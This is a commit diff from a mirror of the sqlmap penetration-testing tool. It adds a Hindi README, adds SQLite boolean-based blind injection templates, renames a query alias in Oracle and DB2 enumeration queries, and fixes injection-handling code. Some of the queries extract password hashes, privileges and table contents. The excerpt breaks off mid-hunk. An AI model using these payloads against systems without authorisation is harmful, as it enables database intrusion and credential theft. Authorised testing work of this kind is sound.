mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
Merge branch 'master' into json_output
This commit is contained in:
commit
f168a19d7a
|
@ -58,8 +58,9 @@ Translations
|
|||
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
|
||||
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
||||
* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
|
||||
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
|
||||
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
|
||||
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
|
||||
* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
|
||||
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||
|
@ -67,7 +68,7 @@ Translations
|
|||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
|
||||
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
|
||||
* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
|
||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||
|
|
|
@ -596,6 +596,45 @@ Tag: <test>
|
|||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
|
||||
<request>
|
||||
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
|
||||
<request>
|
||||
<payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
|
||||
|
||||
<!-- Boolean-based blind tests - Parameter replace -->
|
||||
|
|
|
@ -207,7 +207,7 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM %s)x WHERE LIMIT=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
|
@ -228,7 +228,7 @@
|
|||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
|
||||
<limit query="ROWNUM AS CAP %s) WHERE CAP"/>
|
||||
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
|
@ -261,11 +261,11 @@
|
|||
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
||||
|
@ -273,7 +273,7 @@
|
|||
-->
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
|
||||
<blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
|
||||
<blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS CAP FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE CAP=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS CAP FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE CAP=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
|
||||
</privileges>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the roles for the session user you can use:
|
||||
|
@ -281,20 +281,20 @@
|
|||
-->
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
|
||||
<blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
|
||||
<blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS CAP FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE CAP=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS CAP FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE CAP=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
|
||||
</roles>
|
||||
<statements>
|
||||
<inband query="SELECT SQL_TEXT FROM V$SQL"/>
|
||||
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS LIMIT FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE LIMIT=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
||||
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
||||
</statements>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
|
@ -302,7 +302,7 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
|
@ -606,7 +606,7 @@
|
|||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROW_NUMBER() OVER () AS LIMIT %s) AS qq WHERE LIMIT"/>
|
||||
<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
|
||||
<limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
|
@ -621,7 +621,7 @@
|
|||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
|
||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
||||
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
|
@ -631,24 +631,24 @@
|
|||
<is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
|
||||
<blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
|
||||
<blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS CAP,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE CAP=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
|
||||
</users>
|
||||
<!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/>
|
||||
<blind query="SELECT tabschema||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>
|
||||
<blind query="SELECT tabschema||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS CAP,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS qq WHERE LIMIT=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE LIMIT=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||
|
@ -656,7 +656,7 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,%s AS ENTRY_VALUE FROM %s) AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
|
|
50
doc/translations/README-in-HI.md
Normal file
50
doc/translations/README-in-HI.md
Normal file
|
@ -0,0 +1,50 @@
|
|||
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
|
||||
|
||||
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
|
||||
|
||||
चित्रसंवाद
|
||||
----
|
||||
|
||||
![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
|
||||
|
||||
आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं।
|
||||
|
||||
स्थापना
|
||||
----
|
||||
|
||||
आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं।
|
||||
|
||||
प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
|
||||
|
||||
उपयोग
|
||||
----
|
||||
|
||||
मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए:
|
||||
|
||||
python sqlmap.py -h
|
||||
|
||||
सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए:
|
||||
|
||||
python sqlmap.py -hh
|
||||
|
||||
आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है।
|
||||
|
||||
लिंक
|
||||
----
|
||||
|
||||
* मुखपृष्ठ: https://sqlmap.org
|
||||
* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* ट्विटर: [@sqlmap](https://twitter.com/sqlmap)
|
||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
*
|
|
@ -217,6 +217,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
if _ > 1:
|
||||
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
|
||||
unionExtended = True
|
||||
test.request._columns = test.request.columns
|
||||
test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
|
||||
title = re.sub(r"\b%d\b" % _, str(__), title)
|
||||
test.title = re.sub(r"\b%d\b" % _, str(__), test.title)
|
||||
|
@ -819,6 +820,9 @@ def checkSqlInjection(place, parameter, value):
|
|||
choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
|
||||
conf.verbose = int(choice)
|
||||
setVerbosity()
|
||||
if hasattr(test.request, "columns") and hasattr(test.request, "_columns"):
|
||||
test.request.columns = test.request._columns
|
||||
delattr(test.request, "_columns")
|
||||
tests.insert(0, test)
|
||||
elif choice == 'N':
|
||||
return None
|
||||
|
|
|
@ -557,7 +557,7 @@ def start():
|
|||
paramKey = (conf.hostname, conf.path, place, parameter)
|
||||
|
||||
if kb.processUserMarks:
|
||||
if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI):
|
||||
if kb.processNonCustom is None:
|
||||
message = "other non-custom parameters found. "
|
||||
message += "Do you want to process them too? [Y/n/q] "
|
||||
|
@ -594,7 +594,7 @@ def start():
|
|||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
|
||||
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)):
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
|
|
|
@ -45,6 +45,7 @@ from lib.core.exception import SqlmapNoneDataException
|
|||
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
|
@ -185,6 +186,11 @@ class Agent(object):
|
|||
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||
newValue = self.adjustLateValues(newValue)
|
||||
|
||||
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
|
||||
if kb.customInjectionMark in origValue:
|
||||
payload = newValue.replace(origValue, "")
|
||||
newValue = origValue.replace(kb.customInjectionMark, payload)
|
||||
|
||||
# TODO: support for POST_HINT
|
||||
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||
|
||||
|
@ -490,7 +496,7 @@ class Agent(object):
|
|||
if field and Backend.getIdentifiedDbms():
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL):
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
|
||||
nulledCastedField = field
|
||||
else:
|
||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
|
@ -885,11 +891,16 @@ class Agent(object):
|
|||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if element == position:
|
||||
if conf.uValues:
|
||||
unionQuery += conf.uValues.split(',')[element]
|
||||
elif element == position:
|
||||
unionQuery += query
|
||||
else:
|
||||
unionQuery += char
|
||||
|
||||
if conf.uValues:
|
||||
unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query)
|
||||
|
||||
if fromTable and not unionQuery.endswith(fromTable):
|
||||
unionQuery += fromTable
|
||||
|
||||
|
|
|
@ -3186,7 +3186,14 @@ def isNumPosStrValue(value):
|
|||
False
|
||||
"""
|
||||
|
||||
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||
retVal = False
|
||||
|
||||
try:
|
||||
retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
@cachedmethod
|
||||
def aliasToDbmsEnum(dbms):
|
||||
|
@ -5083,6 +5090,7 @@ def resetCookieJar(cookieJar):
|
|||
logger.info(infoMsg)
|
||||
|
||||
content = readCachedFileContent(conf.loadCookies)
|
||||
content = re.sub("(?im)^#httpOnly_", "", content)
|
||||
lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#'))
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
|
||||
os.close(handle)
|
||||
|
|
|
@ -16,6 +16,7 @@ import codecs
|
|||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.compat import xrange
|
||||
|
@ -334,6 +335,10 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
|||
True
|
||||
"""
|
||||
|
||||
# Best position for --time-limit mechanism
|
||||
